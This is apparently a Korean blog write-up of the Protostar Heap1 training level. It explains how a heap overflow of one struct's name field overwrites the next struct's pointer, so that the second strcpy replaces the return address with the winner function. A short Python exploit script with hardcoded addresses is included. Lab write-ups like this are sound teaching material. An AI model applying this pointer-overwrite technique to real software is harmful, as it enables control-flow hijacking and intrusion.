이번에도 실행 흐름을 바꿔주는 문제네요.
그런데 함수를 따로 호출해주는 부분이 없습니다.
따라서 두 개의 strcpy를 이용하여 winner 함수로 분기를 시켜야하는데, 두 번째 strcpy에서 i2->name에 argv[2]를 저장합니다. 이 때, i1->name에서 overflow가 일어난다면, i2->name 부분의 주소를 임의로 바꿔 줄 수 있습니다. 이 말은, ret를 우리가 마음대로 주무를 수도 있고, got overwrite 또한 가능하다는 소리가 되겠네요.
저는 ret를 변경하는 것으로 풀이하였습니다.
#coding: utf-8 from struct import pack, unpack p = lambda x: pack("<L", x) up = lambda x: pack("<L", x)[0] winner = 0x8048494 system = 0xb7ecffb0 binsh = 0xb7fb63bf ret = 0xbffffcac payload = 'A'*20 payload += p(ret) payload2 = p(winner) print payload, payload2
heap1.py
'Wargame > Protostar:Exploit-Exercises' 카테고리의 다른 글
[Protostar : Exploit-Exercises] Heap2 (4) | 2016.09.25 |
---|---|
[Protostar : Exploit-Exercises] Heap0 (0) | 2016.09.25 |
[Protostar : Exploit-Exercises] Format4 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Format3 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Format2 (0) | 2016.09.24 |